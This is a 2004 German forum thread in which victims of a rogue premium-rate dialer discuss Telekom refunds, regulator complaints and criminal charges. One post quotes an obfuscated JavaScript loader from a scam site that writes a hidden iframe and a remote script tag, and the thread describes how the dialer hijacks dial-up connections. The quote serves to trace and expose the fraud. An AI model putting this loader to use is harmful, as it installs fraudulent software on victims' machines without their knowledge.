deine Asuführungen sind sehr erhellend. Zwei Dinge interessieren mich jetzt aber trotzdem noch. Du schreibst, dass möglicherweise die Nummer 060 noch offen ist, die anderen aber unter die hier schon mehrfach genannte Regelung fallen. Laut Datenbank der Regulierungsbehörde ist das aber dreimal derselbe Dialer (sexfiles.exe), registriet auf die gleichen Leute resp. Firmen. Worauf gründet sich Deiner Ansicht nach die Selektivität des obengenannten Vorgehens bei der T-Kom - Gabs vielleicht zu wenig Beschwerden bei der letzten Nummer?
Zweite Frage: Einige hier im Forum berichten von astronomischen Telefonrechnungen, die den Rahmen der von Dir genannten 250 Euro doch erheblich sprengen. Wenn ich die Leute richtig verstanden habe, "dialen" die sonst nicht. Die Beiträge sind auch nocht nicht so alt, dass sie vor dem Inkrafttreten der Regelung gepostet wurden. Was ist da los?

Jetzt noch was am Rande:

Wenn ich das Forum bzw. diesen Thread hier so sehe, scheinen sich da doch vorwiegend Leute zu tummeln, die um "eigene Schadensbegrenzung" bemüht sind. Da fühle ich mich nicht als Ausnahme. Nur wär's dann eben von den Leuten mit einem eher "akademischen" Interesse an solchen Sachverhalten besser - so wie Du das löblicher Weise getan hast - mit präzisen Informationen auszuhelfen. 


In diesem Sinne
MfG
Bodo

P.S. Wenn ich mich hier registriere, darf ich dann auch als Benutzer "Bodo" heißen? Das System sagt, der Name sei schon vergeben...


----------



## BenTigger (10 August 2004)

galdikas schrieb:
			
		

> _Die Wiedergabe persönlicher Daten ist nur mit ausdrücklicher Genehmigung der betreffenden Person erlaubt._
> 
> Die Nennung von ......  und  ...... geschieht in völliger Übereinstimmung mit der Abmachung, mit ausdrücklicher Genehmigung der betreffenden Personen zu deren Bezeichnung ihren Namen zu benutzen.
> 
> gal.



Hi Gal,

von .... und .....  liegen uns keinerlei Genehmigungen vor, die uns erlauben, ihre Namen hier zu nennen. Und nur *das* zählt hier für uns und nicht was *du* denkst bzw. meinst.

MfG BenTigger


----------



## Devilfrank (10 August 2004)

Hi gal.
Ich verstehe gerade die Rumdiskutiererei hier nicht. Bei jedem Posten hier im Forum kannst Du glasklar lesen:
*Sie erklären mit der Nutzung dieses Forums Ihr Einverständnis mit den Nutzungsbedingungen. Ihre IP-Adresse wird in der Datenbank gespeichert sobald Sie einen Artikel abschicken. Sofern Sie durch Ihren Artikel gegen die geltende Rechtslage verstoßen, kann diese IP-Adresse zur Durchsetzung rechtlicher Ansprüche an Dritte weitergegeben werden.*

In den Nutzungsbedingungen ist ebenfalls glasklar formuliert, was in diesem Forum hier zulässig ist und was nicht.
Was ist daran so schwer, sich daran zu halten?

Wir haben Wichtigeres zu tun, als hier derartige Debatten zu führen. Die NUB´s gelten für alle. Punkt!
Wem das nicht gefällt, der kann sich gern eine andere Spielwiese suchen...


----------



## beco (10 August 2004)

*Das Blatt hat sich zum Glücklichen gewendet*

Hallo Forum,

gut das es Euch gibt. Ich war über die 957+958 mit ca. 930 € betroffen. Die Lastschrift hatte ich letzte Woche nochmals zurückgegeben und habe eine Begründung an die T-COM gesendet. Ein freundlicher Anruf der Mitarbeiterin in Kassel erklärte mir, dass man die Sache nochmals 60 Tage aus Kulanz zurückstelle, da in Zusammenarbeit mit der RegTP etwas im Gang sei. Heute erreichte mich ein Brief der T-COM. Neben dem allgemeinen Hinweis wg. Mehrwertdiensten stand in dem Schreiben folgender Wortlaut: "Wir haben den von ihnen vorgetragenen Sachverhalt sorgfältig geprüft. Dabei ergaben sich Anhaltspunkte dafür, dass es sich bei dem angebotenen Dienst um ein unseriöses Angebot handelt. Dann in Fettschrift: Wir werden Ihnen daher die Forderung ohne Anerkennung einer Rechtspflicht erstatten und den Betrag Ihrem Buchungskonto gutschreiben".

Ich hoffe, dass die Sache damit aus dem Weg ist. Ohne dieses Forum wäre dieser Stein nie ins Rollen gekommen. Danke an Euch.

Gruß
Marcel


----------



## Reducal (10 August 2004)

Bimbo schrieb:
			
		

> Zwei Dinge interessieren mich jetzt aber trotzdem noch. Du schreibst, dass möglicherweise die Nummer 060 noch offen ist, die anderen aber unter die hier schon mehrfach genannte Regelung fallen. Laut Datenbank der Regulierungsbehörde ist das aber dreimal derselbe Dialer (sexfiles.exe), registriet auf die gleichen Leute resp. Firmen.


Drei Nummern, drei Mal ein neues Spiel.



			
				Bimbo schrieb:
			
		

> Worauf gründet sich Deiner Ansicht nach die Selektivität des obengenannten Vorgehens bei der T-Kom - Gabs vielleicht zu wenig Beschwerden bei der letzten Nummer?


Das könnte sein, Beschwerden sind in erster Linie Information - hier fehlte es am Informationsfluss.



			
				Bimbo schrieb:
			
		

> Zweite Frage: Einige hier im Forum berichten von astronomischen Telefonrechnungen, die den Rahmen der von Dir genannten 250 Euro doch erheblich sprengen. Wenn ich die Leute richtig verstanden habe, "dialen" die sonst nicht.


Na ja, so astronomisch sind dann ein paar hundert Euro doch nicht. Die meisten lagen noch unter der 250-€-Schwellgrenze. Ob das überhaupt der genaue Wert ist, konnte mir die T-Com bislang noch nicht bestätigen.
Aber mit dem "nicht-dialen" hast Do wohl Recht. Ich persönlich kenne sehr viele Nutzer des Internet. Darunter ist nicht ein einziger, der zugibt, wissentlich teure 0900er Dialer zu verwenden. Aus diesem Grund halte ich persönlich diese Abrechnungsform auch nicht für zukunftsicherund vor allem zu problemhaftig.
Man beachte dabei vor allem die Anwendung für Drop-Charge-Dialern im Non-Adult-Bereich (volle Abrechnung ab der ersten Sekunde). Die Typen, die Referate und Hausaufgaben für 30 € verkaufen, rechnen damit, dass ein ziviler Streit, für eine einzige Einwahl, in Bezug auf den erworbenen Inhalt, nur zu selten geführt werden wird. Das ist nicht nur die Katze im Sack, das Viech ist auch noch tot! :evil: 
Bei Erotik ist das nochmal was anderes. Allerdings sind 30 € in meiner Stadt auch gut am Straßenstrich angelegt und der machte (mir zumindest früher) mehr Spaß als Bilder gucken, die es auch an der Tanke zum Anfassen gibt.



			
				Bimbo schrieb:
			
		

> Wenn ich mich hier registriere, darf ich dann auch als Benutzer "Bodo" heißen? Das System sagt, der Name sei schon vergeben...


Dann suche Dir doch einen anderen Namen aus, der Phantasie sind keine Grenzen gesetzt (außer der Name ist schon vergeben).


----------



## Reducal (10 August 2004)

*Re: Das Blatt hat sich zum Glücklichen gewendet*



			
				beco schrieb:
			
		

> .... da in Zusammenarbeit mit der RegTP etwas im Gang sei.



Das ist genau das, was ich immer zu erklären versuche - da läuft was hinter den Kulissen!



@ Jessica, falls es Dich hier noch gibt: _... gib´ mal Laut!_  :lol:


----------



## Qoppa (11 August 2004)

Reducal schrieb:
			
		

> Na ja, so astronomisch sind dann ein paar hundert Euro doch nicht. Die meisten lagen noch unter der 250-€-Schwellgrenze. Ob das überhaupt der genaue Wert ist, konnte mir die T-Com bislang noch nicht bestätigen.


Kann ich bestätigen, - bei exakt 250 € (ohne Umsatzsteuer) wurde die Mehrwertorgie gestoppt. Sonst hätte ich eine Rechnung von ein paar Tausend € gehabt :evil:
Daher wundert es mich auch, daß es immer wieder Leute gibt, die einen höheren Schaden haben. Gibt es eigentlich eine (rechtliche) Grundlage dafür? Oder ist es nur "freiwillige" Schutzmaßnahme der Telekom?


----------



## Reducal (11 August 2004)

Qoppa schrieb:
			
		

> Oder ist es nur "freiwillige" Schutzmaßnahme der Telekom?


Freiwillig angewendeter Verbraucherschutz oder besser Selbstschutz. Die die T-Com muss sich ja nach solchen Orgien mit ihrem Kunden rumstreiten und werbewirksam sind solche Auswüchse auch nicht.


----------



## dvill (11 August 2004)

Es sollte statt des freiwilligen Selbstschutzes der Telekom eine Möglichkeit des Selbstschutzes für alle Telefonanschlussinhaber durch Vorgabe einer maximalen Entgelthöhe geben.

Dietmar Vill


----------



## technofreak (11 August 2004)

Reducal schrieb:
			
		

> und werbewirksam sind solche Auswüchse auch nicht.



Dann  werden wieder ein paar "heile  Welt" TV-Spots für teures Geld geschaltet und "gut" ist ....

tf


----------



## Reducal (11 August 2004)

bundesrecht.juris.de schrieb:
			
		

> ...kann der Kunde gegenüber dem Anbieter von Telekommunikationsdienstleistungen für die Öffentlichkeit vorgeben, bis zu welcher monatlichen Entgelthöhe er die Dienstleistung in Anspruch nehmen will


Wenn das Wörtchen "kann" nicht wär, wäre das Leben halb so schwer!

Das ist wie mit der durch den Endkunden selbst zu beauftragenden Sperrung von Mehrwertnummern oder dem vom Kunden zu beantragenden unverkürzten Einzelverbindungsnachweis.
MEn alles Käse - die "KANN"-Bestimmungen nutzen nur dem, der Kenntnis von ihnen hat. Aber auch das wird man (spätestens in einem strittigen Fall) dem Endkunden noch beibringen. Und da ist es wieder, das Kleingedruckte, das durch die wunderbaren Versprechungen der Werbkampagnien nur noch lästig wahr genommen und dem mündigen Bürger vorgeführt wird, welchen Stellenwert die Psychologie der Verkaufsgespräche heute einnimmt.


----------



## Anonymous (11 August 2004)

*noch mal dazu*

das sollte man jetzt aber wirklich mal klären, ob und  - wenn ja - zu welchen Bedingungen die Telekomm bei auflaufenden Mehrwertgebühren die Notbremse automatisch zieht. Es ist ja wohl schon beinahe ein Skandal, dass sie einige Leute ins offene Messer laufen lässt (1200, 900, 500 Euro usw.) und bei anderen nach 250 Euro ein netter Anruf erfolgt und die Sperrung vorgenommen wird. Leider weiß ich von einem Fall in der Bekanntschaft, wo auch jemand mit 500 Euro fällig wurde. Merkwürdig ist auch, dass der Telefonbeamte, der mir von dieser Möglichkeit erzählte (ohne eine konkrete Summe zu nennen) so ganz nebenbei noch einen Schwang vom Sohn seines Nachbarn berichtete, der mal fix eben eine Rechnung von 40 Euro fabriziert habe.
Geht die Telekomm hier nach Pi-Mal-Daumen vor, oder wie muss ich das verstehen. Sorgt man hier vielleicht dafür, dass es für brave T-Com-Kunden nicht ganz so schlimm wird und haut andererseits denen auf die Finger, die viel Call-by-Call telefonieren, oder was wird da gespielt?
Das gibt's doch nicht...

Nochwas: an die Leute mit den hohen Rechnungen: ich darf doch davon ausgehen, dass ihr eure Dialer wirklich NICHT absichtlich runtergeladen habt, gell...


----------



## Anonymous (11 August 2004)

sorry - statt "40 euro" muss es "400 euro" heißen


----------



## niegli (11 August 2004)

@ TSCoreNinja

vielen Dank für die schnelle Antwort, bin leider jetzt erst dazu gekommen sie umzusetzen.


> ... bei anderen nach 250 Euro ein netter Anruf erfolgt und die Sperrung vorgenommen wird ...





> Geht die Telekomm hier nach Pi-Mal-Daumen vor, oder wie muss ich das verstehen.



Ich würde sagen Pi-Mal-Daumen und reichlich unkoordiniert, wenn bei mir ein netter Telekom-Mitarbeiter anruft und mich auf Unregelmäßigkeiten bei meiner Telefonrechnung in Höhe von *20,- € *aufmerksamm macht. 

Woraufhin ich in der folgenden Abrechnung feststellen musste, dass zum Zeitpunkt dieses Anrufes bereits Gebüren in Höhe von ca. *380,- € *aufgelaufen sind. SCHÖNEN DANK AUCH!

Für mich sieht das nicht nach Notbremse oder freiwilligen Selbstschutzes der Telekom aus.

Der aktuelle Stand bei mir:

                 Brief an die Telekom 

                 und warten...

Halte Euch auf dem laufenden.


----------



## axel (11 August 2004)

Wow!

Ich habe heute auch einen Brief vom Telekom gekriegt:

"Wir haben den von ihnen vorgetragenen Sachverhalt sorgfältig geprüft... es sich bei dem angebotenen Dienst um ein unseriöses Angebot handelt. Wir werden Ihnen daher die Forderung ohne Anerkennung einer Rechtspflicht erstatten...".

Das heisst... Victory! 0
Und (ich glaube fest) - für alle Betroffenen von 090090000957 und 090090000958!


----------



## TSCoreNinja (11 August 2004)

*Content Provider/Abrechnungspartner der Daenen*

Wen es interessiert, wer evt. an dem hiesigen nicht registrierten Dialern verdient, weil er versteckten/codierten JavaScript aus seiner Webseite plaziert 

```
<script>var out='', txt='=tdsjqu!tsd>iuuq;00j/sjoh1517919191/ov0kt/[email protected]>53?=0tdsjqu?=jgsbnf!xjeui>3!ifjhiu>3!tuzmf>wjtjcjmjuz  ;ijeefo!tsd>iuuq;00j/sjoh1517919191/ov0jgsbnf`to/[email protected]>53?=0jgsbnf?'; 
 for (i=0; i < txt.length; i++) { octet = txt.charCodeAt(i); out+= String.fromCharCode(octet-1);} 
 document.write(out);</script>
```

Diese Webseite ist registriert auf eine Firma aus den Bahamas. 



> Ultima Network Corp.
> 55 Frederick St.
> P.O. Box CB 13039
> Nassau, Bahamas
> ...



Fidul hat diese Firma mal im Antispam Forum erwaehnt: 


			
				Fidul schrieb:
			
		

> An wen wurde denn diese Domain versteigert? Doch nicht etwa an Albert * D****, Ultima Network Corp., 55 Frederick St. P.O. Box CB, 13039 Nassau, Bahamas?
> 
> DOEDel, dann sag' dem Albert mal, daß er die Denic-Einträge für sex-und-ficken.** und sexcrackerz.** schleunigst korrigieren soll. Da gelten andere Regeln als für .com und .net wie etwa handy-kontakte.***, sexflatrate.*** und sms-sofort.***. Tip: DENIC-Registrierungsbedingungen §3, Absatz 1. Dieser Service ist gratis.



Vielleicht kann er ein bisschen mehr dazu sagen... 
Gr, 
TSCN


----------



## Fidul (12 August 2004)

Hast du mal den Link dazu? Die Suchfunktion will nebenan wieder einmal nicht so richtig.


----------



## dvill (12 August 2004)

Codiertes Scriptgerödel kann man besser im Klartext lesen, siehe Bild.

Dietmar Vill


----------



## TSCoreNinja (12 August 2004)

@Fidul:
Link zum Thread

@DVill 
 ich benutz fuer so etwas immer Rhino (javascript engine von Mozilla), wollte aber nicht die URL posten (steht eh schon im Linkforum). BTW, Douglas Adams hatte mal wieder Recht, die Antwort ist 42, jetzt muesste Jessica auch wissen, wer der boese Junge ist. 

Gr,
TSCN


----------



## Anonymous (12 August 2004)

*090090000958*

 
Hallo,

für alle bei denen auch der Dialer 090090000958 in die bestehende DFÜ Netzwerkverbindung instlliert wurde, hab ich eine gute Nachricht. 

Bei mir liefen auch über 400? über 2 Monate auf. Hab bei der Telekom Beschwerde eingelegt und soeben eine Nachricht erhalten, daß die Telekom den Betrag storniert.

Gruß


----------



## technofreak (12 August 2004)

*Re: 090090000958*



			
				itsme schrieb:
			
		

> und soeben eine Nachricht erhalten, daß die Telekom den Betrag storniert.



wie mündlich, schriftlich? 

tf


----------



## Reducal (12 August 2004)

In der Regel wird angerufen, um den Verwaltungsaufwand zu minimieren - schriftlich bekommt der Endkunde das ja noch mit der nächsten Telefonrechnung (keine offene Forderung). Allerdings würde ich mir das Telefonat unbedingt extra schriftlich bestätigen lassen.

_Wer weiß, was bei der T-Com innerhalb der nächsten zwei Jahre so alles passiert._


----------



## niegli (12 August 2004)

@ itsme

Wie lange hat es denn gedauert bis die Telekom deine Beschwerde bearbeitet hat und Du angerufen wurdest?

Grüße

niegli


----------



## TSCoreNinja (13 August 2004)

*Re: Content Provider/Abrechnungspartner der Daenen*



			
				Myself schrieb:
			
		

> Fidul hat diese Firma mal im *Antispam* Forum erwaehnt:
> [...]


Apropos Spam, gestern frisch in meiner Inbox


			
				Spam schrieb:
			
		

> From: "Kontakt Vermittler" <[email protected]>
> To: xxxxx
> Subject: Unglaublich!
> Date: Thu, 12 Aug 2004 15:10:06 +0200
> ...



Folgt man der URL (steht im Linkforum), landet man dank kodiertem JS bei der klingelnden Seite der Svenska Let to Phone, wenn man mit altem IE unterwegs ist. 
Gr,
TSCN


----------



## DJohnny79 (24 August 2004)

*Re: nichts ist definitiv! Von wegen Telekommkulanz*



			
				Bimbo schrieb:
			
		

> Hallo Leute,
> ...
> Dann noch eine Frage:
> Der erste Telekomm-Mitarbeiter meinte, es würde automatisch immer (bei allen Standardanschlüssen) ein Rechnungsvergleich vorgenommen und der Kunde bei "ungewöhnlich hohen" Beträgen sofort - d.h. telefonisch -
> ...



Kann da keine allgemeinen Aussagen zu machen, aber bei mir ist das Gottseidank leider so gewesen;
Gottseidank weil dadurch eine weitere Einwahl dieses Dialers/dieser Dialergruppe verhindert werden konnte und Leider, weil d schon Kosten in Höhe von ca 100 € angefallen waren.

Nochmal meine Frage/wie es weitergeht...

Ich habe also bisher weiterhin die 102,76 €nicht bezahlt, dies mündete dann vorerst in einen Posten "Sperrungen /Mahnkosten" oder so ähnlich, was mich dann im Endeffekt ca 10 € gekostet hat;

Soll ich jetzt trotzdem noch mal Beschwerde gegen diesen Posten erheben?

Ich bitte da noch mal um Eure Mithilfe(da ich jetzt auch nicht weiss, WAS die TK da jetzt gesperrt hat)

MfG

DJohnny79


----------



## Reducal (24 August 2004)

*Re: nichts ist definitiv! Von wegen Telekommkulanz*



			
				DJohnny79 schrieb:
			
		

> ...da ich jetzt auch nicht weiss, WAS die TK da jetzt gesperrt hat...


Wahrscheinlich den Zugang zu den Mehrwertnummern 0190 und 0900.


----------



## DJohnny79 (24 August 2004)

Hmmm die Nummern hab ich allerdings schon direkt im Juni 04 sperren lassen(bzw. wurden direkt von der TK gesperrt) Stellen die sowas in Rechnung?


----------



## technofreak (24 August 2004)

DJohnny79 schrieb:
			
		

> Stellen die sowas in Rechnung?


http://www.telekom.de/dtag/faq2/frage/0,10303,262-2812-1,00.html


> Die Einrichtung, Änderung oder Aufhebung der Sperre erfolgt ausschließlich
> durch die Deutsche Telekom. Die Bereitstellung bzw. jede Änderung der Festen Anschluss-Sperre
> kostet einmalig 9,90 EUR. Es entstehen keine monatlichen Kosten.


Es  erfolgt eine schriftliche Mitteilung über die erfolgte Sperre.

tf


----------



## DJohnny79 (24 August 2004)

Jo Dankeschön
werd noch mal nen Brief an die TK abschicken, mal sehen was denen noch so einfällt...
Greetz

DJ


----------



## Anonymous (24 August 2004)

'n Abend,

am 5.7. hat's auch mich erwischt mit 957 und 958, und zwar auf ähnliche Weise wie einigen anderen hier: Nie "ok" eingetippt, Dialer gab sich als Freenet-Verbindung aus etc. Telekom sperrte nach zwei Wochen, am Telefon wurde mir gesagt, es seien Kosten über 550 Euro angelaufen, aber als dann Anfang August die Telefonrechnung ankam, waren's genau 800. Ich schrieb hin, daß ich nicht zu zahlen gewillt bin.

Heute morgen der Anruf von der Telekom: Ich soll bei der Regulierungsbehörde Beschwerde einlegen, nur wenn sie den Dialer für illegal erklärt, können mir die Schulden erlassen werden.

Nun habe ich diese überaus nützliche und ermutigende Seite gefunden und frage mich, warum die Telekom bei mir nicht locker läßt, obwohl sie doch offenbar in anderen Fällen schon entschieden hat, daß der Dialer illegal ist. Weiß da die linke Hand nicht, was die Rechte tut, oder versucht man, noch ein paar Unwissende abzuzocken?

Wie auch immer: Ich muß nun ein Formular der Regulierungsbehörde ausfüllen und beschreiben, wo und wie ich mir den Dialer eingefangen habe. Genau das kann ich ich aber nicht mehr rekonstruieren - der Verlauf von Anfang Juli ist bei mir längst gelöscht (den Dialer selbst habe ich zum Glück noch auf Festplatte). Daher meine Bitte: Kann mir jemand sagen, was ich da eintragen kann, ohne daß es unglaubwürdig klingt?

Dank vorweg,
Knut


----------



## TSCoreNinja (24 August 2004)

H Knut,

folgende Ratschlaege. Einfach so weit wie es geht bei den Tatsachen  bleiben. Dass Du keinen Dialer wissentlich installiert hast. Interessant ist insbesondere die Tatsache, dass er die Freenet Verbindung ueberschrieben hat. Woher weisst Du das? Du sagst, Du haettest den Dialer auf Platte? Welche Datei ist das? Gabs icons auf dem Desktop? Ich habe hier mal eine Liste mit Dateien gepostet, die zum Teil gehoert. Was ist davon noch genau auf Platte (Suchfunktion des Forzns nutzen, Benutzer TSCoreNinja, Stichwort z.B. svchost oder Rufnummer, dass ist vermutlich Dein Dialer). Hier gibt es auch eine PDF Datei von mir, die ich an RegTP/BSI geschickt habe. Nimm doch einfach darauf Bezug (meld Dich an und schreib mir ne private Nachricht, dann gibts genaueres).  Der RegTP liegt eine sehr detailierte Beschreibung zum Vorgehen des Teils vor (wenn es denn das Gleiche ist, und das zu zeigen ist aus meiner Sicht das einzige Problem) Dann muessen die Herren nur noch aufwachen, und die Behoerdenmaschinerie in Gang setzen. 

Viel Erfolg,
TSCN


----------



## Knut (24 August 2004)

Hallo TSCoreNinja,

besten Dank für die rasche Reaktion. Die Datei heißt dialerX.exe und sitzt bei mir unter Windows auf der Festplatte. Es gab ein Icon auf dem Desktop, das ich sofort gelöscht habe, damit hielt ich den Fall für erledigt (wie es aussah, weiß ich nicht mehr, aber vielleicht würde ich es wiedererkennen). Wenn ich nun, wie gewohnt, im DFÜ-Netzwerk eine Verbindung mit Freenet herstellen wollte, erschien ein Fenster "Verbindung mit Freenet herstellen", Benutzername: ConnInts2, wählen: 090090000957 (den Eintrag hab ich auch jetzt noch im DFÜ-Netzwerk). Ich Idiot bemerkte zwar, daß Benutzername und Nummer sich geändert hatten, schenkte dem aber keine Beachtung, weil ich dachte, da hätte sich halt was bei Freenet geändert - meine alte Verbindung zu Freenet war nämlich nicht mehr da (was ich schwer beweisen kann, weil ich sie später natürlich wieder neu installiert habe). Rätselhaft ist, daß mir der Telekom-Mann heute morgen gesagt hat, die ersten drei Male sei ich über die 958 verbunden worden, dann erst über 957. Ich kann aber nicht feststellen, daß ich mehr als einen Dialer eingefangen habe.

Viel mehr kann ich dazu nicht sagen, da ich ein weitgehender Computeranalphabet bin (sonst wär mir das ja auch gar nicht erst passiert). Mir scheint, Deine PDF-Datei könnte mir sehr weiterhelfen. Ich werde Dir gleich eine private Nachricht zuschicken.

Gruß,
Knut


----------



## TSCoreNinja (25 August 2004)

Knut schrieb:
			
		

> Die Datei heißt dialerX.exe und sitzt bei mir unter Windows auf der Festplatte. Es gab ein Icon auf dem Desktop, das ich sofort gelöscht habe, damit hielt ich den Fall für erledigt (wie es aussah, weiß ich nicht mehr, aber vielleicht würde ich es wiedererkennen).



Das ist ein Teil des Dialers. Allerdings nicht der eigentliche fuers Ueberschreiben der Verbindung verantwortliche. Diese heisst svchost.exe (auch im Windows Verzeichnis, im darunter liegenden system32/ gibts auch eine, die ist von Microsoft und harmlos/wichtig!)



> Wenn ich nun, wie gewohnt, im DFÜ-Netzwerk eine Verbindung mit Freenet herstellen wollte, erschien ein Fenster "Verbindung mit Freenet herstellen", Benutzername: ConnInts2, wählen: 090090000957 (den Eintrag hab ich auch jetzt noch im DFÜ-Netzwerk). Ich Idiot bemerkte zwar, daß Benutzername und Nummer sich geändert hatten, schenkte dem aber keine Beachtung, weil ich dachte, da hätte sich halt was bei Freenet geändert - meine alte Verbindung zu Freenet war nämlich nicht mehr da (was ich schwer beweisen kann, weil ich sie später natürlich wieder neu installiert habe).


Wie waere es mit einem Gang zur Polizei und Strafanzeige? Der Dialer aendert die bestehende Rufnummer (moeglicher Verstoss gegen §303a StGB Datenveraenderung) zwecks Erlangen eines finanziellen Vorteils (§263a Computerbetrug)! Hat hier schon jemand Anzeige bezueglich diesen Dialers erstattet? 



> Rätselhaft ist, daß mir der Telekom-Mann heute morgen gesagt hat, die ersten drei Male sei ich über die 958 verbunden worden, dann erst über 957. Ich kann aber nicht feststellen, daß ich mehr als einen Dialer eingefangen habe.


Das ist der selbe Dialer, der mehrere Nummern benutzt. 

Gr,
TSCN


----------



## Knut (25 August 2004)

Vielen, vielen Dank, ohne diese Seite würde ich mich sehr aufgeschmissen fühlen. Ich bin durchaus in der Stimmung, Strafanzeige gegen die "Anbieter" zu stellen, gebe aber zu bedenken:

1. Noch habe ich keinen materiellen Schaden erlitten (von der Nervenzerrüttung abgesehen); die Telekom sagte, ich solle ihr meine Beschwerde an die Regulierungsbehörde in Kopie zuschicken, dann werde das Mahnverfahren gegen mich für sechs Wochen ausgesetzt, bis der Fall geprüft sei. Das Geld ist zwar augenblicklich abgebucht, wird aber (hoffentlich) per Rücklastschrift zurückgeholt. Was aber kann ich zur Anzeige bringen, wenn ich doch keinen finanziellen Verlust habe?

2. Kann ich, wie gesagt, nicht mehr rekonstruieren, wie ich an den Dialer gekommen bin, ich kann nur zeigen, daß er jetzt auf meiner Festplatte ist (und tatsächlich auch eine Datei namens SVCHOST.EXE-3530F672.pf, richtig!). Ist das nicht ein wenig wenig Belastungsmaterial, um wirklich eine Bestrafung zu erreichen?

3. Habe ich, wie auch schon erwähnt, sehr wenig Ahnung von der ganzen Materie, so daß ich eigentlich nur als Strohmann zu gebrauchen bin, der von euch genauestens instruiert werden müßte: Was muß ich, neben der Telefonrechnung, zur Polizei mitbringen? Meinen ganzen Computer? Und gegen wen genau soll ich Anzeige erstatten? Wie kann ich bewirken, daß dann auch wirklich was ins Rollen kommt und nicht nur pflichtgemäß und wirkungslos die Anzeige aufgenommen wird?

Also, es wäre mir schon lieber, wenn jemand anderes, der versierter ist, die Anzeige stellen würde. Macht es eigentlich einen Unterschied, ob eine oder zehn oder tausend Strafanzeigen in dieser Sache aufgegeben werden?


----------



## Insider (25 August 2004)

Knut schrieb:
			
		

> Was aber kann ich zur Anzeige bringen, wenn ich doch keinen finanziellen Verlust habe?


Datenveränderung dürfte erfüllt sein und den Versuch des Computerbetruges steht auf jeden Fall zu einer Bewertung an. Falls dann doch noch eine Rechung kommt, ist auch das vollendet.



			
				Knut schrieb:
			
		

> .....so daß ich eigentlich nur als Strohmann zu gebrauchen bin, der von euch genauestens instruiert werden müßte...


Fang blos nicht mit sowas an!  



			
				Knut schrieb:
			
		

> Was muß ich, neben der Telefonrechnung, zur Polizei mitbringen? Meinen ganzen Computer? Und gegen wen genau soll ich Anzeige erstatten? Wie kann ich bewirken, daß dann auch wirklich was ins Rollen kommt und nicht nur pflichtgemäß und wirkungslos die Anzeige aufgenommen wird?



Rechnung
den betroffenen Computer (für die Auswertung durch einen EDV-Sachverständigen)
einen amtl. Ausweis
in der Regel viel Zeit
Gegen wen sich die Anzeige richtet, ist nicht Sache des Anzeigenerstatters, das wird in dem Ermittlungsverfahren festgestellt, falls nicht bekannt - also Anzeige vorerst gegen "unbekannt".
Anzeigen werden amtlich entgegen genommen, die Qualität der Bearbeitung kann normaler Weise vom Anzeigenerstatter oder einem Geschädigten nicht beeinflusst werden. Die Qualität des Ausgangs des Verfahrens richtet sich jedoch sehr nach den beigebrachten, gerichtsverwertbaren Beweismitteln.


----------



## TSCoreNinja (25 August 2004)

Zitate Strafgesetzbuch


			
				StGB schrieb:
			
		

> § 263a Computerbetrug
> (1) Wer in der Absicht, sich oder einem Dritten einen rechtswidrigen Vermögensvorteil zu verschaffen, das Vermögen eines anderen dadurch beschädigt, daß er das Ergebnis eines Datenverarbeitungsvorgangs durch unrichtige Gestaltung des Programms, durch Verwendung unrichtiger oder unvollständiger Daten, durch unbefugte Verwendung von Daten oder sonst durch unbefugte Einwirkung auf den Ablauf beeinflußt, wird mit Freiheitsstrafe bis zu fünf Jahren oder mit Geldstrafe bestraft.
> 
> (2) § 263 Abs. 2 bis 7 gilt entsprechend.
> ...


Es ist daher maximal fuer das Strafmass relevant, ob Du tatsaechlich einen Schaden erlitten hast! Der Versuch muesste auf jeden Fall gegeben sein.
Gr,
TSCN


----------



## Anonymous (27 August 2004)

Liebe Leute,

da ich seit Ende Juni auch Geschädigter durch diesen Dialer bin, und meinem Widerspruch zur Rechnung (Schaden: 91 Euro) nicht statt gegeben wurde, habe ich mich bei der Telekom beschwert. Gleichzeit hatte ich mehrfach Kontakt mit der Regulierungsbehörde.

Heute erhielt ich nun ein Schreiben der Telekom: "Unsere Nachforschungen haben ergeben, dass zu der von Ihnen reklamierten Rufnummer Registrierungen bei der RegTP vorliegen. Ihr Hinweis ist damit widerlegt und Ihre Zahlungspflicht besteht uneingeschränkt." 

Ich bin stinksauer und werde zukünftig Dienstleistungen der Telekom nur noch in Anspruch nehmen, wenn es unumgänglich ist. Keine Auskunft mehr anrufen, nur noch Call-by-Call, Kündigung meines privaten Anschlusses (gehe zu O2 mit Genion). Ganz davon abgesehen, jemals T-Com-Aktien zu kaufen.

Aufgrund der Mitteilungen einiger Forumsteilnehmer war ich zuversichtlich, dass nach Prüfung des Dialers durch die RegTP, die Telekom bereit sei, Entschädigungen zu leisten. Der heutige Brief ist dagegen eine Frechheit. 

Grüße Werner


----------



## Knut (27 August 2004)

Hallo Werner,
sehr seltsam, denn bei mir gibt's eine Erfolgsmeldung: Ich habe meinem persönlichen Telekom-Verbindungsmann einen Hinweis auf diese Seite gegeben, er hat sich's durchgelesen und mich heute morgen angerufen: Er habe die Sache überprüft; obwohl die Regulierungsbehörde noch keine Entscheidung bezüglich des Dialers getroffen hat, gebe es eine Regelung bei der Telekom, den Geschädigten des Dialers die Schulden zu erlassen, so auch mir. Also nochmals herzlichen Dank an die Betreiber dieser Seite und allen Hinweisgebern, und Ihnen rate ich, standhaft zu bleiben - es darf nicht sein, daß die Telekom in gleichen Fällen unterschiedlich entscheidet.


----------



## haudraufundschluss (27 August 2004)

Werner schrieb:
			
		

> Aufgrund der Mitteilungen einiger Forumsteilnehmer war ich zuversichtlich, dass nach Prüfung des Dialers durch die RegTP, die Telekom bereit sei, Entschädigungen zu leisten. Der heutige Brief ist dagegen eine Frechheit.


Gehe mal davon aus, dass eine Prüfung des Dialers bei der Regulierungsbehörde noch nicht stattgefunden hat.


----------



## Anonymous (27 August 2004)

Hallo Knut,

danke für die Antwort. Ofensichtlich entscheidet die Telekom doch sehr unterschiedlich. Ich habe heute auch mit meinem "Verbindungsmann" bei der Telekom telefoniert. Der war allerdings ziemlich stur und war nicht mal bereit mir in irgend einer Form entgegen zu kommen. Nicht mal eine Äußerung des Bedauerns war ihm zu entlocken. Er hat nur nach Aktenlage argumentiert und entschieden und behauptet sogar, dass die Telekom bei diesen Mehrwertediensten nichts verdienen würde   

Meinen schriftlichen Hinweis auf dieses Forum hat er schlichtweg ignoriert. Ich gehe zwar auch davon aus, dass in einem Forum nicht alles richtig sein muss, aber bei der Summe der Beiträge hier, glaube ich, dass ich und die andern richtig liegen.

Der Höhepunkt war, dass auf meine Frage hin, ob ich Bescheid bekomme, wenn die RegTP eine Entscheidung bezüglich dieses Dialers getroffen haben wird, dieser Mann von der Telekom nur meinte: nein! da muss ich mich schon selbst darum kümmern.

